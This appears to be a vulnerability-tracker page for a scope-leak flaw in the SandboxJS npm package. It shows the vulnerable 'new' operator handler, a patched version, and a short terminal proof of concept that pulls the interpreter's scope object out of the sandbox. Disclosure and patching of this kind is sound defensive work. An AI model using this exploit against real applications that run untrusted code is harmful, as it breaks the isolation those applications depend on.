Skip to main content

Node.js CVE-2026-34217

MEDIUM
Exposure of Resource to Wrong Sphere (CWE-668)
2026-04-03 https://github.com/nyariv/SandboxJS GHSA-hg73-4w7g-q96w
6.9
CVSS 4.0 · Vendor: https://github.com/nyariv/SandboxJS
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Resource sphere isolation
MITRE ATT&CK

1 technique across 1 tactic: Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability carries moderate-to-high real-world risk despite lacking a CVSS score in the input data. The attack vector is network-adjacent or local (requires code execution within the sandbox, which is the sandbox's normal use case), with low attack complexity (straightforward new operator usage with minimal obfuscation needed). No authentication is required. The SSVC decision framework indicates high technical impact (scope breach, variable modification), confirmed exploitation possible (proof of concept provided in advisory), and partially automatable (requires sandboxed code control but no user interaction). Critically, the vulnerability is a logic flaw in a security-critical handler: the Call handler proves the correct pattern exists in the same codebase, making this a clear implementation gap rather than a design limitation. The fact that prototype chain and code evaluation remain protected limits immediate escalation to RCE, but scope modification enables information disclosure of host globals and potential privilege escalation within the sandbox hierarchy. The availability of a vendor patch and the simplicity of the PoC indicate this should be treated as a high-priority update for any application using SandboxJS to execute untrusted user code.

Exploit ScenarioDerived

An attacker submits user-generated code to a web application that uses SandboxJS to safely execute plugins or scripts in isolation. The attacker's code contains a simple function like function Leak(prop) { this.globals = prop.context } return new Leak(isNaN), which extracts the raw scope object from a Prop wrapper passed through the new operator. The attacker then accesses properties on the returned object to read or modify sandbox-level variables (e.g., stealing function references or overwriting utilities). The entire exploit requires no interaction with the host or other users and executes immediately upon sandbox initialization. A proof of concept demonstrating this exact vector is provided in the GitHub advisory and executes successfully on versions 0.8.35 and below.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 03, 2026

SandboxJS versions 0.8.35 and below allow untrusted sandboxed code to leak internal interpreter scope objects through the new operator, exposing raw Prop wrappers that reference the host's global variable storage (scope.allVars). An attacker controlling code execution within the sandbox can extract this scope object and modify variables in the sandbox hierarchy, though prototype chain and code evaluation remain protected. Vendor-released patch available; no active KEV status or public exploit code confirmed.

RemediationAI

Vendor-released patch available: upgrade to @nyariv/sandboxjs version 0.8.36 or later, which implements the critical fix described in commit abc02f657279e51a4aaad2bc8f99f3e37a01b287 (https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287). The fix sanitizes constructor arguments by applying valueOrProp() to each argument in the b array before passing them to the new operator, and sanitizes return values using getGlobalProp() and sanitizeArray(), mirroring the correct pattern already used in the Call handler. If immediate upgrade is not possible, no reliable workaround exists at the host application level; sandboxed code must be assumed untrusted and carefully audited. For npm-based projects, run npm install @nyariv/sandboxjs@latest or specify ^0.8.36 in package.json dependencies.

Affected Packages

npm @nyariv/sandboxjs fix: 0.8.36

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SandboxJS is a Node.js sandbox library that isolates untrusted code execution by wrapping all value accesses in internal Prop objects, which contain references to scope context and property names. The vulnerability exists in the new operator handler (src/executor.ts, lines 1275-1280), which fails to sanitize constructor arguments and return values-a critical deviation from the correctly implemented Call handler (lines 493-605). The Call handler applies three sanitization steps: valueOrProp() on arguments, getGlobalProp() on return values, and sanitizeArray() as a final pass. The New handler skips all three. When sandboxed code executes new Constructor(variable), the interpreter passes a raw Prop object directly to the constructor without unwrapping it via valueOrProp(). Constructor code can then read the Prop.context field, which at global scope level points directly to options.globals-the real host JavaScript objects including Function, eval, and other dangerous builtins. The constructed object containing this leaked reference is returned without sanitization, allowing the attacker to store and reuse the stolen scope object. This is classified under CWE-668 (Exposure of Resource to Wrong Sphere) because internal interpreter state crosses the sandbox boundary unintentionally.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nyariv/SandboxJS) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/nyariv/SandboxJS) · only source for this CVE.

CVSS VectorVendor: https://github.com/nyariv/SandboxJS

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Apr 03, 2026 - 22:15 nvd
Patch available
CVE Published
Apr 03, 2026 - 21:45 nvd
MEDIUM 6.9

DescriptionCVE.org

Description

A scope modification vulnerability exists in @nyariv/sandboxjs version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.

Vulnerable Code Location

Primary: The New Operator Handler

File: src/executor.ts, lines 1275-1280

typescript
addOps<new (...args: unknown[]) => unknown, unknown[]>(
  LispType.New,
  ({ done, a, b, context }) => {
    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
    }
    done(undefined, new a(...b));  // ← b is NOT sanitized, return is NOT sanitized
  },
);

This handler has two missing sanitization steps:

  1. Arguments (b) are not passed through valueOrProp() - Constructor arguments contain raw Prop objects (internal interpreter wrappers) instead of extracted values.
  2. Return value is not passed through getGlobalProp() or sanitizeArray() - The constructed object is returned directly to the execution tree without any sanitization.

Comparison: The Call Handler (Correctly Implemented)

File: src/executor.ts, lines 493-605

typescript
addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {
  // ...
  const vals = b
    .map((item) => {
      if (item instanceof SpreadArray) {
        return [...item.item];
      } else {
        return [item];
      }
    })
    .flat()
    .map((item) => valueOrProp(item, context));  // ← Arguments ARE sanitized
  // ...
  let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));
  ret = getGlobalProp(ret, context) || ret;  // ← Return IS sanitized
  sanitizeArray(ret, context);               // ← Return IS sanitized
  done(undefined, ret);
});

The Call handler correctly sanitizes both arguments (via valueOrProp) and return values (via getGlobalProp and sanitizeArray). The New handler does neither.

---

Why This Is Vulnerable

Step 1: What is a Prop Object?

The sandbox interpreter wraps every value access in a Prop object (defined at src/utils.ts, lines 565-582). A Prop has:

typescript
class Prop {
  context: any;       // The object the property belongs to
  prop: PropertyKey;  // The property name
  isConst: boolean;
  isGlobal: boolean;
  isVariable: boolean;
}

When sandboxed code accesses a variable like isNaN, the interpreter creates Prop(scope.allVars, 'isNaN'). The context field is a direct reference to the scope's variable storage object.

Step 2: What is in scope.allVars?

At the global scope level, scope.allVars is the same object as options.globals - the SAFE_GLOBALS object containing:

javascript
{
  globalThis: <real globalThis>,
  Function: <real Function constructor>,
  eval: <real eval function>,
  console: { log: console.log, ... },
  Array, Object, Map, Set, Promise, Date, Error, RegExp,
  isNaN, parseInt, parseFloat, ...
}

These are the real host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.

Step 3: How the Prop Leaks Through new

When sandboxed code executes new Constructor(someVariable):

  1. The interpreter evaluates someVariable - this produces a Prop object: Prop(scope.allVars, 'someVariable')
  2. The New handler receives this Prop as-is in the b array (no valueOrProp() call)
  3. new Constructor(...[Prop]) passes the raw Prop object to the constructor function
  4. Inside the constructor, the Prop is received as a named parameter
  5. The constructor reads arg.context - this is the raw scope.allVars object containing all real globals
  6. The constructor stores this reference: this.scope = arg.context
  7. The constructed object is returned without sanitization

Proof of Concept

Step-by-Step Reproduction (Terminal)

Step 1: Create a new directory and initialize
bash
mkdir sandboxjs-poc
cd sandboxjs-poc
npm init -y
Step 2: Set module type to ESM
bash
node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))"
Step 3: Install the vulnerable package
bash
npm install @nyariv/sandboxjs@0.8.35
Step 4: Create the minimal exploit
bash
cat > exploit.mjs << 'EOF'
import pkg from '@nyariv/sandboxjs';
const Sandbox = pkg.default || pkg;
const sandbox = new Sandbox();
const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();
console.log(scope);
EOF
Step 5: Run it
bash
node exploit.mjs

Impact

An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope

The attack requires no authentication, no user interaction, and works with default sandbox configuration. The only requirement is that the host application reads the return value from sandbox.compile(code)({}).run(), which is the standard and documented usage pattern.

---

Suggested Remediation

Fix 1: Sanitize New Handler Arguments (Critical)

Add valueOrProp() to constructor arguments, matching the Call handler's behavior:

typescript
// src/executor.ts line 1275-1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
  LispType.New,
  ({ done, a, b, context }) => {
    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
    }
    const sanitizedArgs = b.map((item) => valueOrProp(item, context));
    const result = new a(...sanitizedArgs);
    const sanitized = getGlobalProp(result, context) || result;
    sanitizeArray(sanitized, context);
    done(undefined, sanitized);
  },
);

Fix 2: Sanitize Sandbox Return Values (Defense in Depth)

Add deep sanitization in Sandbox.ts to strip internal references from any value returned to the host, regardless of how it was produced.

Fix 3: Freeze the Globals Object (Defense in Depth)

Freeze or seal options.globals and scope.allVars after construction to prevent mutation via the Prop leak:

typescript
Object.freeze(options.globals);

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 17 npm packages depend on @nyariv/sandboxjs (7 direct, 10 indirect)

Ecosystem-wide dependent count for version 0.8.36.

Threat Intelligence Overview

EPSS Score
0.1%
Top 79% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)CVE.org

pkg:npm/@nyariv_sandboxjs
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy